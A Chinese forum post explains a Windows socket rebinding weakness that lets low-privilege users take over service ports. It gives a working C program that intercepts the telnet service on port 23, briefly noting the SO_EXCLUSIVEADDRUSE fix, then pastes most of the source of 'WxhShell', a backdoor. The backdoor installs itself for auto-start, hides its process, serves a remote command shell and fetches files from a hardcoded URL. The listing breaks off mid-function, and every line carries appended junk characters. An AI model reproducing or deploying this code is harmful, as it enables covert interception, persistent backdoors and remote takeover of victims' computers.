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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )Vo%}g?6!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XZ"oOE0=  
Jow{7@FG  
  saddr.sin_family = AF_INET; Q">wl  
(@NW2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0v|qP  
v.53fx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ? CU;  
g: YUuZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W/.n R[!  
YbF}>1/"  
  这意味着什么?意味着可以进行如下的攻击: ma6Wr !J  
 ]l}bk]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wlDo(]mj=O  
#V.u[:mO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oQR?H  
qga\icQr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rAk;8)O$  
Rl'xEtaN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O&Y22mu  
b_)SMAsO7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ir5eR}H  
]/|DCxQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b?/Su<q  
\[ W`hhJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s >k4G  
%reW/;)l{  
  #include PHMp, z8  
  #include !1mAq+q!  
  #include ypNeTR$4  
  #include    ; hU9_e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i "aQm  
  int main() .uB[zJc  
  { o\qeX|.70  
  WORD wVersionRequested; 0R;`)V\^  
  DWORD ret; _8 l=65GW  
  WSADATA wsaData; Q6n8,2*  
  BOOL val; ;\]DZV4?)r  
  SOCKADDR_IN saddr; [6?x 6_M  
  SOCKADDR_IN scaddr; 1pqYB]*u_  
  int err; X*a7`aL  
  SOCKET s; *-'`Ea  
  SOCKET sc; oJZ0{^  
  int caddsize; bd3>IWihp  
  HANDLE mt; #fF D|q  
  DWORD tid;   tPDB'S:&3  
  wVersionRequested = MAKEWORD( 2, 2 ); X^C $|:  
  err = WSAStartup( wVersionRequested, &wsaData ); @h5Q?I  
  if ( err != 0 ) { ^y~oXS(  
  printf("error!WSAStartup failed!\n"); !q8A!P4|'  
  return -1; iig&O(,  
  } =nCV. Wf  
  saddr.sin_family = AF_INET; mo]>Um'F  
   wKJK!P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fN 1:'d  
PAiVUGp5[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  LNvkC4  
  saddr.sin_port = htons(23); akQb%Wq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V3_qqz}`r  
  { 5;[0Q  
  printf("error!socket failed!\n"); Xm6M s<z6  
  return -1; R=W$3Ue~,  
  } w$749jGx  
  val = TRUE; #Z]<E6<=9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vIFx'S~D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3ep L'My$  
  { Koz0Xy  
  printf("error!setsockopt failed!\n"); ktv{-WG2_  
  return -1; AI .2os*  
  } >Lz2zlZI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *T{KpiuP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ds\f?\Em  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )EG-xo@X  
xH-} <7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ltd'"J/r  
  { iz-O~T/^  
  ret=GetLastError(); *}LQZFrnX  
  printf("error!bind failed!\n"); |h:3BV_  
  return -1; R xWD>:  
  } }Ub "Vb  
  listen(s,2); n4zns,:)/  
  while(1) &jDRRT3  
  { T{T> S%17~  
  caddsize = sizeof(scaddr); 1'5 !")r  
  //接受连接请求 hflDVGBW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +7K]5p;!~  
  if(sc!=INVALID_SOCKET) Uzk_ae  
  { cr{dl\ Na  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p-/}@r3Z+  
  if(mt==NULL) 2aQ}| `  
  { CzT_$v_  
  printf("Thread Creat Failed!\n"); Vb2")+*:  
  break; z<BwV /fH}  
  } cH7D@p}  
  } ;"%luQA<w  
  CloseHandle(mt); UKSI"/8I  
  } ||?wRMV  
  closesocket(s); OL[_2m*;9p  
  WSACleanup(); QpifO  
  return 0; fVBRP[,   
  }   I3?:KVa  
  DWORD WINAPI ClientThread(LPVOID lpParam) (yz8}L3  
  { OZh+x`' #  
  SOCKET ss = (SOCKET)lpParam; Xg97[I8/  
  SOCKET sc; < YuI}d~'  
  unsigned char buf[4096]; !?)iP  
  SOCKADDR_IN saddr; W/;qMP1"-  
  long num; +z\O"zlj  
  DWORD val; .]Z,O>N  
  DWORD ret; {c$%3iQq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B Zw#ACU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .{ ]=v  
  saddr.sin_family = AF_INET; [g*]u3s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F~O! J@4]  
  saddr.sin_port = htons(23); bRAf!<3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NPR{g!tK%  
  { ?rV c}  
  printf("error!socket failed!\n"); 7h/{F({r=  
  return -1; o=(>#iVM  
  } #D!3a%u0  
  val = 100; fI0L\^b%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F[OBPPQ3  
  { i@d@~M7/  
  ret = GetLastError(); hO:X\:G  
  return -1; RrqZ5Gonj  
  } qsL6*(S(r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {EupB?  
  { 8|,-P=%t  
  ret = GetLastError(); ';7|H|,F  
  return -1; 8 _[f#s`)  
  } Qod2m$>wp}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c[0$8F>  
  { z'X_ s.9F  
  printf("error!socket connect failed!\n"); !PrO~  
  closesocket(sc); ]# T9v06w  
  closesocket(ss); l+ <x  
  return -1; ]t3 NA*mM  
  } AuYi$?8|5  
  while(1) I!Za2?  
  { `P4qEsZE>`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VVje|T^{Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }fs;yPl,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |wj/lX7y  
  num = recv(ss,buf,4096,0); egi?Qg  
  if(num>0) 2jx+q  
  send(sc,buf,num,0); z95V 7E  
  else if(num==0) K+mtuB]yr  
  break; Qi7^z;  
  num = recv(sc,buf,4096,0); J0|}u1? l  
  if(num>0) {1YT a:evl  
  send(ss,buf,num,0); Vd^`Hv&i  
  else if(num==0) @w:sNXz-  
  break; ;h3*MR  
  } Xc5[d`]  
  closesocket(ss); ig/716r|  
  closesocket(sc); Gb \ 7W  
  return 0 ; Sb[rSczS~  
  } @;,O V&XYn  
0+:.9*g=k  
@]#+`pZ4A  
========================================================== x{*!"a>  
S8vmXlD  
下边附上一个代码,,WXhSHELL ?\F,}e  
qkUr5^1  
========================================================== @+X}O /74  
c)E[K-u  
#include "stdafx.h" I}v'n{5(  
j)IK  
#include <stdio.h> n7q-)Dv_U  
#include <string.h> L}a3!33)C  
#include <windows.h> IL:"]`f*  
#include <winsock2.h> ,em6wIq,  
#include <winsvc.h> pr0V)C6  
#include <urlmon.h> t1Khf  
X7c*T /  
#pragma comment (lib, "Ws2_32.lib") Yhw* `"X  
#pragma comment (lib, "urlmon.lib") 8rp-Xi W  
= xX^  
#define MAX_USER   100 // 最大客户端连接数 X0Oq lAw  
#define BUF_SOCK   200 // sock buffer )Y&De)=  
#define KEY_BUFF   255 // 输入 buffer ZJ[ Uz_%W  
OEwfNZQ-  
#define REBOOT     0   // 重启 *E)Y?9u"  
#define SHUTDOWN   1   // 关机 F<(x z=  
.DvAX(2v  
#define DEF_PORT   5000 // 监听端口 -6tF   
rw\4KI@ L  
#define REG_LEN     16   // 注册表键长度 t2Y~MyT/  
#define SVC_LEN     80   // NT服务名长度 usTCn3u  
V!<#E)-?<  
// 从dll定义API l*:p==  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S8)awTA9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .RWBn~b#I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tl^[MLQa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &s<  
E0DEFB  
// wxhshell配置信息 eXaDx%mM  
struct WSCFG { `A^} X  
  int ws_port;         // 监听端口 -<O:isB   
  char ws_passstr[REG_LEN]; // 口令 zuPH3Q={  
  int ws_autoins;       // 安装标记, 1=yes 0=no \%Smp2K  
  char ws_regname[REG_LEN]; // 注册表键名 M{4_BQ4$  
  char ws_svcname[REG_LEN]; // 服务名 +Ae.>%}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >SGSn/AJi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7z,M`14  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hW+Dko(s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mk9 kGP%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x/S%NySG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tQ}gBE63  
HYH!;  
}; )nk>*oE  
NR[mzJv  
// default Wxhshell configuration /(0d{  
struct WSCFG wscfg={DEF_PORT, E37@BfpO3  
    "xuhuanlingzhe", N_ DgnZ7*  
    1, 7f$Lb,\y  
    "Wxhshell", =% JDo  
    "Wxhshell", )yK!qu  
            "WxhShell Service", -/qrEKQ0U?  
    "Wrsky Windows CmdShell Service", FT enXJ/c  
    "Please Input Your Password: ", ]/'] {*T1  
  1, %% >?<4t  
  "http://www.wrsky.com/wxhshell.exe", ZF/KV\Ag)  
  "Wxhshell.exe" .eAC!R  
    }; *j* WE\  
fytx({I .a  
// 消息定义模块 ~Iu09t|a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D/Wuan?yPN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z,7^dlT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o%5bg(  
char *msg_ws_ext="\n\rExit."; tVcs r  
char *msg_ws_end="\n\rQuit."; mN*P 2 *  
char *msg_ws_boot="\n\rReboot..."; ZD{srEa/a  
char *msg_ws_poff="\n\rShutdown..."; HlSuhbi'@  
char *msg_ws_down="\n\rSave to "; wm8x1+P  
GT.^u#r  
char *msg_ws_err="\n\rErr!"; }a1UOScO0  
char *msg_ws_ok="\n\rOK!"; W<L6,  
^hgAgP{{  
char ExeFile[MAX_PATH]; 7GUJ&U) J  
int nUser = 0; ?:nZv< x  
HANDLE handles[MAX_USER]; !T~d5^l!  
int OsIsNt; Nw2 bn  
$OD5t5eTsM  
SERVICE_STATUS       serviceStatus; kt#W~n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h,+=h;!  
f.$o|R=v  
// 函数声明 z)~!G~J]  
int Install(void); Em;b,x*U  
int Uninstall(void); ~e+w@ lK  
int DownloadFile(char *sURL, SOCKET wsh); Q=8 cBRe  
int Boot(int flag); bSghf"aN  
void HideProc(void); ,lJ6"J\8.  
int GetOsVer(void); S8RB0^Q7  
int Wxhshell(SOCKET wsl); Q ?t  
void TalkWithClient(void *cs); dmy-}.pqN  
int CmdShell(SOCKET sock); k I~]u  
int StartFromService(void); ;" *`  
int StartWxhshell(LPSTR lpCmdLine); Mg$9'a"[\  
>i%w'uU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t>2^!vl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); | dwxea  
eNFUjDm  
// 数据结构和表定义 ODEXQl}R  
SERVICE_TABLE_ENTRY DispatchTable[] = wjJ1Psnx  
{ 2>k)=hl:  
{wscfg.ws_svcname, NTServiceMain}, R6XMBYK^  
{NULL, NULL} m4wTg 8LJ  
}; ["<(\v9P)  
jTr 4A-"  
// 自我安装 ;NeP&)Td  
int Install(void) '>Y 2lqa  
{ =7Vl{>*1N  
  char svExeFile[MAX_PATH]; 0gD0}nH  
  HKEY key; q4iD59yd)S  
  strcpy(svExeFile,ExeFile); g4~qc I=a  
I)6Sbt JV^  
// 如果是win9x系统,修改注册表设为自启动 Wt fOE@h  
if(!OsIsNt) { jPNfLwVkl:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N08n/u&cr,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P{!:pxu[  
  RegCloseKey(key); *h:EE6|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q'U5QyuC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mN 6`8 [  
  RegCloseKey(key); dt+  4$  
  return 0; &R*5;/ !  
    } S "Pj 1  
  } wPJRp]FA  
} #cG479X"  
else { ~+egu89'TU  
jYX9; C;J  
// 如果是NT以上系统,安装为系统服务 ~!F4JRf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5I1J)K;  
if (schSCManager!=0) \{zAX~k6  
{ BkxhF  
  SC_HANDLE schService = CreateService Bq]O &>\hX  
  ( D(6x'</>?  
  schSCManager, YB~t|m65  
  wscfg.ws_svcname, JlQT5k  
  wscfg.ws_svcdisp, ~<- ci  
  SERVICE_ALL_ACCESS, V?59 .TJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m8j-lNu  
  SERVICE_AUTO_START, H#6^-6;/  
  SERVICE_ERROR_NORMAL, 2^#UO=ct  
  svExeFile, ;sR6dT)  
  NULL, Jx$#GUl#j  
  NULL, |QOJ9~hxD  
  NULL, FP'lEp  
  NULL, 1`]IU_)1B  
  NULL <-:@} |br  
  ); !5%5]9'n@*  
  if (schService!=0) asN }  
  { }FiN 7#  
  CloseServiceHandle(schService); ,i?!3oLT  
  CloseServiceHandle(schSCManager); :n9xH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KzX ,n_`an  
  strcat(svExeFile,wscfg.ws_svcname); E(!6n= qR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <yI,cM<c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !LIfeL.4h  
  RegCloseKey(key); T#G<?oF  
  return 0; CEuk1$  
    } M:Y*Tb6w  
  } O+p-1 C$\  
  CloseServiceHandle(schSCManager); tNuCxb-  
} 3E}NiD\V}  
} j8Q5d`  
u] U)d$|  
return 1; 9jR[:[  
} aXbNDj ][  
B UQn+;be  
// 自我卸载 W0MnGzZ  
int Uninstall(void) 04guud }  
{ 2Uv3_i<  
  HKEY key; (vAv^A*i}  
Ivt} o_b*  
if(!OsIsNt) { L> Oy7w)Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { afF+*\xXN  
  RegDeleteValue(key,wscfg.ws_regname); )@bH"  
  RegCloseKey(key); Cld<D5\|f+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8| e$  
  RegDeleteValue(key,wscfg.ws_regname); 9;]wF8h  
  RegCloseKey(key); Sm$j:xw <  
  return 0; .pIR/2U\F  
  } >=~Fo)V!(V  
} mKq<'t]^k  
} HIX=MprL<  
else { qE`:b0FT  
H*{k4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r=DHt&x=  
if (schSCManager!=0) Ue3B+k9w  
{ }kCn@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }-{b$6]  
  if (schService!=0) `[@^m5?b-  
  { PG6L]o^  
  if(DeleteService(schService)!=0) { J7ktfyQ0W  
  CloseServiceHandle(schService); #5-A&  
  CloseServiceHandle(schSCManager); L)/6kt=  
  return 0; S*CLt  
  } x\`RW 3 K  
  CloseServiceHandle(schService); 'EL ||  
  } dF{6>8D=5B  
  CloseServiceHandle(schSCManager); tCbr<Ug  
} 0ck&kpL:9  
} eMN+qkvH  
Wg` +u  
return 1; hg&w=l  
} 4\1wyN /}M  
b ~/Wnp5  
// 从指定url下载文件 AJ\VY;m7F  
int DownloadFile(char *sURL, SOCKET wsh) (L y%{ Y  
{ i<#h]o C}  
  HRESULT hr;  nOoKGT  
char seps[]= "/"; .>kccLr:z  
char *token; t}]9VD9  
char *file; c>S"`r  
char myURL[MAX_PATH]; >G<\1R  
char myFILE[MAX_PATH]; N a. nA  
KP=D! l&q  
strcpy(myURL,sURL); t&R!5^R  
  token=strtok(myURL,seps); C|4 U78f{  
  while(token!=NULL) 7MO  
  { n5egKAgA  
    file=token; m3xz=9Ve  
  token=strtok(NULL,seps); D|TLTF"  
  } wX)efLmyhY  
GB<R7 J  
GetCurrentDirectory(MAX_PATH,myFILE); zP :~O  
strcat(myFILE, "\\"); e{fZ}`=7y  
strcat(myFILE, file); W>Mse[6`c  
  send(wsh,myFILE,strlen(myFILE),0); k;;nE o~6  
send(wsh,"...",3,0); N<aB)</  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d&aBs++T  
  if(hr==S_OK) #D`S  
return 0; S)"##-~`T  
else YKP=0 j3,  
return 1; 5jn$7iE`  
,VKQRmd  
} 0W~.WkD  
:%/\1$3P  
// 系统电源模块 0rku4T  
int Boot(int flag) .Lojzx  
{ 20rN,@2<  
  HANDLE hToken; n> MD\ZS  
  TOKEN_PRIVILEGES tkp; < Gr9^C  
bbd0ocva  
  if(OsIsNt) { j:HH#U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  : cFF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Zig Co w  
    tkp.PrivilegeCount = 1; M[h 1>}$Lz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,^.S0;D,Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s8t f@H4r  
if(flag==REBOOT) { 5 R,la\!bQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h`?y2?O  
  return 0; E7rX1YdR  
} o-SRSu  
else { C!!mOAhJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H9%l?r5  
  return 0; [urH a  
} )UR1E?'  
  } J#6LSD@ (O  
  else { [zY!'cz?  
if(flag==REBOOT) { QjQ4Z'.r>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |yLk5e~@-  
  return 0; i[^k.W3gf  
} R]CZw;zS_  
else { 3hc#FmLr2b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `6rrXU6|  
  return 0; .r~'(g{qt  
} TT|-aS0l(u  
} }l.KpdRT2  
LkaG8#m1R  
return 1; M$,Jg5Dc  
} )*!1bgXQ  
 Nm jzDN  
// win9x进程隐藏模块 jo_o` j  
void HideProc(void) mYX56,b}5  
{ j: <t  
XDHLEG-u(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xttYn ]T  
  if ( hKernel != NULL ) m +Y@UgB  
  { U8YO0}_z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j,}4TDWa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [FB&4>V/  
    FreeLibrary(hKernel); !\aV 0,  
  } rwoF}}  
q1UBKhpnH  
return; --Oprl  
} c+1vqbqHG  
LlU' _}>  
// 获取操作系统版本 '#H&:Htm;L  
int GetOsVer(void) {b(rm,%  
{ ?LM:RADCm  
  OSVERSIONINFO winfo; h>dxBN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]yo_wGiwY  
  GetVersionEx(&winfo); =Wj{]&`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iNt 4>  
  return 1; otU@X 3<_  
  else _]P a>8X*  
  return 0; HP;|'b  
} V R"8Di&)  
MM7"a?y)  
// 客户端句柄模块 s}jlS  
int Wxhshell(SOCKET wsl) 6mwvI4)  
{ # 2d,U\_  
  SOCKET wsh; PDhWFF  
  struct sockaddr_in client; r9?o$=T  
  DWORD myID; n-d:O\]  
mLJDxh'B  
  while(nUser<MAX_USER) $>;a 'f~  
{ $;y1Q iel  
  int nSize=sizeof(client); 7 xUE,)?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Mw}R6g@#  
  if(wsh==INVALID_SOCKET) return 1; .M8=^,h^K  
.U<F6I:<md  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C]/&vh7ta  
if(handles[nUser]==0) FK6K6wU52m  
  closesocket(wsh); Z^<Sj5}6  
else ?<E0zM+  
  nUser++; rxs8De  
  } B9}E {)T?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M=W 4:H,gx  
YtMlqF  
  return 0; #L\o;p(  
} +miR3~w.  
"tKNlHBu'  
// 关闭 socket t|.Ft<c#  
void CloseIt(SOCKET wsh) .W$ sxVXB  
{ xLZ bU4  
closesocket(wsh); ZlrhC= 0  
nUser--; s*f1x N<  
ExitThread(0); !\ZcOk2  
} ( :iPm<  
J=@xAVBc  
// 客户端请求句柄 V(r`.75  
void TalkWithClient(void *cs) _@~PL>g"p  
{  f -7S:,  
S4)A6z$  
  SOCKET wsh=(SOCKET)cs; kAeNQRjR  
  char pwd[SVC_LEN]; zMr&1*CDX  
  char cmd[KEY_BUFF]; [NL -!  
char chr[1]; $5x]%1 R  
int i,j; g#}tm<  
[-Cu4mff  
  while (nUser < MAX_USER) { :b5XKv^  
W]zwghxH  
if(wscfg.ws_passstr) { e]+7DE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Fm\+JOS   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?&6Q%IUW1  
  //ZeroMemory(pwd,KEY_BUFF); J]dW1boT@  
      i=0; ^@K WYAAW5  
  while(i<SVC_LEN) { 8]HY. $E  
%{U"EZ]D!  
  // 设置超时 gn^!"MN+g  
  fd_set FdRead; `4skwvS=  
  struct timeval TimeOut; p=vV4C:  
  FD_ZERO(&FdRead); 'aZAS Pn[  
  FD_SET(wsh,&FdRead); _\UIc;3Gl  
  TimeOut.tv_sec=8; l77'Lne  
  TimeOut.tv_usec=0; r,0@~;zA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L$kgK# T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oK$ '9c5<  
*y?[ <2"$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a}dw9wU!:  
  pwd=chr[0]; js -2"I  
  if(chr[0]==0xd || chr[0]==0xa) { [<Q4U{F  
  pwd=0; ?;_O 9  
  break; B>,A(X&  
  } e+{BJN vz  
  i++; lA]N04 d  
    } W6i3Psjsw  
qW3x{L$c  
  // 如果是非法用户,关闭 socket }1Z6e[K?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tJAnuhX  
} :Pf>Z? /d  
WI{; #A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :xtT)w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `|,Bm|~:  
++0rF\&  
while(1) { )T/J  
Zt_r9xs>  
  ZeroMemory(cmd,KEY_BUFF); &}E:jt}  
2qjyFTT  
      // 自动支持客户端 telnet标准   NNmM#eB:4  
  j=0; 'gCZ'edM  
  while(j<KEY_BUFF) { ~5T$8^K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +<{m45  
  cmd[j]=chr[0]; ?aFZOc4   
  if(chr[0]==0xa || chr[0]==0xd) { 5aG5BA[N  
  cmd[j]=0; (2tH"I  
  break; LZa% x  
  } [[X+P 0`r  
  j++; %mu>-hac  
    } '-.wFB;  
ZJvo9!DL|  
  // 下载文件 h 1*FPsc  
  if(strstr(cmd,"http://")) { 5VZjDg?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7DZTQUb"  
  if(DownloadFile(cmd,wsh)) w&5/Zh[~~L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ntZ~m  
  else "[.ne)/MC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F 3s?&T)[G  
  } Mt=R*M}D0  
  else { {[tZ.1.w  
c$A@T~$  
    switch(cmd[0]) { -"tY{}z  
  kT2Wm/L  
  // 帮助 qlvwK&W<QM  
  case '?': { TL@mM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^e%k~B^  
    break; x 'mF&^  
  } O"iak  
  // 安装 >jKjh!`)!e  
  case 'i': { 1mix+.d  
    if(Install()) wPgDy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Si R\a!,C  
    else h1-Gp3#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g>T  
    break; ai9  
    } s [T{c.F  
  // 卸载 /B[}I}X  
  case 'r': { (l_:XG)7~b  
    if(Uninstall()) x,uBJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6c@Et,  
    else Pk:zfC?4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^vaL8+  
    break; 5k~\or 5_  
    } m9!DOL1pl  
  // 显示 wxhshell 所在路径 !5~k:1=  
  case 'p': { x_W3sS]ej  
    char svExeFile[MAX_PATH]; N<n8'XDdG  
    strcpy(svExeFile,"\n\r"); bw5T2wYZ  
      strcat(svExeFile,ExeFile); U(Z!J6{c  
        send(wsh,svExeFile,strlen(svExeFile),0); XWXr0>!,?  
    break; I=odMw7Hj  
    } 7>&1nBh. f  
  // 重启 }LQ\a8]<  
  case 'b': { $Elkhe]O %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R{`gR"*  
    if(Boot(REBOOT)) QTE:K?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I^:F)a:  
    else { bRsc-Fz6  
    closesocket(wsh); ;W~4L+e  
    ExitThread(0); }^9paU  
    } I&\4C.\>  
    break; AK;^9b-}q:  
    } y]^#$dK(z  
  // 关机 F|*tNJU>  
  case 'd': { snq;:n!   
